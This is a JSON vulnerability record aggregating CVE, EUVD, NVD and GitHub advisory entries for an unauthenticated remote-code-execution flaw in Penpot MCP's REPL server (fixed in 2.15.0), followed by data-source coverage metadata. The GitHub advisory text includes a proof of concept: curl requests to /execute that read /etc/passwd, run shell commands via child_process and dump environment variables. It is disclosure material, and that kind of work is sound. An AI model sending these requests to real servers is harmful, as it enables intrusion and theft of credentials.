{"id":"GHSA-22qr-rp27-j9wm","revision":null,"records":[{"revision":"a244027b593942cf997f79e82f7825d2","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45805","aliases":[],"title":"Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE","description":"Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.","state":0,"publishedAt":"2026-07-15T15:11:22.168+00:00","modifiedAt":"2026-07-15T15:44:45.199+00:00","affected":[{"ecosystem":"Vendor product","name":"penpot","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"penpot\",\n                    \"product\": \"penpot\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.15.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm","https://github.com/penpot/penpot/issues/9518","https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f","https://github.com/penpot/penpot/releases/tag/2.15.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45805","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45805","identifiers":["CVE-2026-45805"]},"retained":false,"historicalAffected":[]},{"revision":"25d35bfe4fba45e585c089bfe5609df4","observedAt":"2026-11-11T12:05:11.723+00:00","statement":{"source":"euvd","id":"EUVD-2026-44700","aliases":["CVE-2026-45805","GHSA-22qr-rp27-j9wm"],"title":"Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed th…","description":"Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm","https://github.com/penpot/penpot/issues/9518","https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f","https://github.com/penpot/penpot/releases/tag/2.15.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-44700","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 15, 2026, 3:11:22 PM","dateUpdated":"Jul 15, 2026, 3:44:45 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-44700","identifiers":["EUVD-2026-44700","CVE-2026-45805","GHSA-22qr-rp27-j9wm"]},"retained":false,"historicalAffected":[]},{"revision":"72bfb9bb4acd468db7a6953eee66f8b2","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-45805","aliases":[],"title":"Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed th…","description":"Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.","state":0,"publishedAt":"2026-07-15T16:16:45.787+00:00","modifiedAt":"2026-07-15T18:15:13.373+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f","https://github.com/penpot/penpot/issues/9518","https://github.com/penpot/penpot/releases/tag/2.15.0","https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45805","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-749"],"productCriteria":[],"sourceDates":{"published":"2026-07-15T16:16:45.787","lastModified":"2026-07-15T18:15:13.373"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45805","identifiers":["CVE-2026-45805"]},"retained":false,"historicalAffected":[]},{"revision":"8f357f104d804fb199ff96f1111a3633","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-22qr-rp27-j9wm","aliases":["CVE-2026-45805"],"title":"PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE","description":"### Summary\n\nThe MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () => {\n    // NO HOST ARGUMENT — Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () => {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) => {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"os\\\").hostname()\"}'\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}'\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}'\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}'\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` — all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, 'localhost', () => {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.","state":0,"publishedAt":"2026-05-19T19:57:36+00:00","modifiedAt":"2026-09-28T03:56:37.3870144+00:00","affected":[{"ecosystem":"npm","name":"@penpot/mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.15.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm","https://github.com/penpot/penpot"],"sourceUrl":"https://github.com/advisories/GHSA-22qr-rp27-j9wm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-22qr-rp27-j9wm","identifiers":["GHSA-22qr-rp27-j9wm","CVE-2026-45805"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T08:55:39.4193399+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T08:55:39.4193399+00:00","lastSuccessAt":"2026-11-12T08:55:39.5669336+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.5669352+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-cdca8464672f7a6b0a4c4e58984a9b57c5e15d71ae2ddc7e2ff782639942ab38","complete":true,"records":424631,"lastAttemptAt":"2026-11-12T08:53:35.355196+00:00","lastSuccessAt":"2026-11-12T08:53:35.3149634+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:53:35.355196+00:00","snapshotPublishedAt":"2026-11-12T08:30:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T08:56:06.8263277+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T08:55:39.4193399+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T08:55:39.4193399+00:00","lastSuccessAt":"2026-11-12T08:55:39.5676932+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.5676956+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-723ec20d092d41278189b87b8cbcf51e","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T08:56:05.5820299+00:00","lastSuccessAt":"2026-11-12T08:56:05.578+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:56:05.578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13313,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T08:55:35.2753592+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:35.2753592+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T08:53:35.4094441+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:53:35.4094441+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-44cd3a7b61439dd4e0dd867616b5261e169a9e59821f22444c84d86fd81b6f2e","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T08:55:39.3774946+00:00","lastSuccessAt":"2026-11-12T08:55:39.2342768+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.3774946+00:00","snapshotPublishedAt":"2026-11-12T08:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c924bd892f7cff2008ba8f06b2d1a456e8a821e4c475408ea0c699c9c1fbf82c","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T08:55:35.1386298+00:00","lastSuccessAt":"2026-11-12T08:55:33.6769659+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:35.1386298+00:00","snapshotPublishedAt":"2026-11-12T08:33:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}